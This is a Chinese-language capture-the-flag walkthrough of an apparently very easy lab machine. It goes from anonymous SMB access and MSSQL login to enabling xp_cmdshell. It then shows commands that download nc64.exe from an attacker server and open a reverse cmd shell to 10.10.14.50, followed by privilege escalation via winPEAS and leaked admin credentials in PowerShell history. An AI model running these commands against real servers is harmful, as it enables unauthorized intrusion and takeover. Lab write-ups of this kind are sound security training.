以下在靶场中属于very easy难度。
使用Impacket登录mssql
Impacket项目地址:https://github.com/SecureAuthCorp/impacket
linux安装:
git clone https://github.com/SecureAuthCorp/impacket
python3 -m pip install tox
python3 setup.py install
Windows安装:
将Impacket下载到本地,pip install tox
python setup.py install
安装完成之后会在当前目录下面生成impacket和examples文件夹,里面有各种脚本
0x01. Nmap扫描
使用Nmap扫描靶机的端口发现开启了445 SMB 和 1433 mssql
由于靶机已经关闭,所以这里smb登录就没有截图了,windows下直接\ip地址就可以了
对445端口进行了无密码登录尝试,登录之后看到一个配置文件里面有mssql的账号和密码
0x02. 登录mssql:
cd examples
python mssqlclient.py domain/user@ip address -windows-auth
输入密码即可登录
select user 查看当前登录用户
select is_srvrolemember(‘sysadmin’) 判断是否有系统权限
如果权限够高可以开启xp_cmdshell来执行系统命令
0x03. 开启xp_cmdshell执行系统命令
可以先测试一下xpcmd开没开 xp_cmdshell “whoami”
如果报错就没开xpshell 这时候就需要手动开启
**sp_configure;**查看配置可以看到xpshell是否开启
EXEC sp_configure ‘show advanced options’, 1; 开启高级选项
reconfigure 重新加载配置
EXEC sp_configure ‘xp_cmdshell’, 1 设置xpshell开启
reconfigure 重新加载配置 这时候就可以执行系统命令了
0x04. 通过xp_cmdshell反弹shell
首先python临时起一个http服务,将nc或者是生成的木马放进去
在目标xp_cmdshell中输入**xp_cmdshell “powershell -c pwd”**来获取当前路径,看看是否有权限在当前目录操作,如果没有,就可以将文件下载到当前用户的目录中,然后再执行。
xp_cmdshell “powershell -c cd c:userssql_svcdownloads; wget http://10.10.14.50/nc64.exe -outfile nc64.exe” 使用powershell进入到当前用户的下载目录,在使用wget命令下载木马文件
现在目标机器上有了nc,那么本地监听,再用xp_cmdshell执行即可
xp_cmdshell “powershell -c cd c:userssql_svcdownloads; .nc64.exe -e cmd.exe 10.10.14.50 333” 目标主机xp_cmdshell运行这条命令即可将cmd弹到攻击机
此时进入桌面可以看到有一个文件,看样子是flag
看到flag但是还不能提交flag,因为还有一个任务七,是跟提权相关的,毕竟这边弹过去的cmd也是当前用户的权限,相对来说比较低,那么现在进行提权操作
0x05. WinPeas特权提升工具
winpeas.exe可以积极寻找特权升级错误配置,而且还在结果中为用户突出显示它们
项目地址:https://github.com/carlospolop/PEASS-ng
同样将winpeas用python临时起的http服务来让目标下载,注意,这时候就不用在用xp_cmdshell来执行了,直接用刚刚反弹过来的cmd去调powershell即可
注意,这里访问的文件是去分大小写的。
下载好了之后执行将winPEAS运行起来,可以看到检测出有很多对应的cve提权方式
0x06. 通过管理员历史命令登录超级用户
根据任务7的提示是找到特定程序输入的内容的历史记录,由此找到powershell的consolehost_history.txt
查看这个txt看到管理员之前用net.exe登录了administrator,并且密码是明文密码,那么我也可以用impacket进行psexec的操作了
psexec成功登陆目标主机,为了得到flag,当然首先看administrator的桌面,看到有一个root.txt 试着打开一下
但是当我去打开root.txt的时候却提示我找不到文件。 那我直接进到桌面再看就好了呗~
hhh…这一步做完回首一看命令才发现刚刚执行的 type root.txt是在system32目录下执行的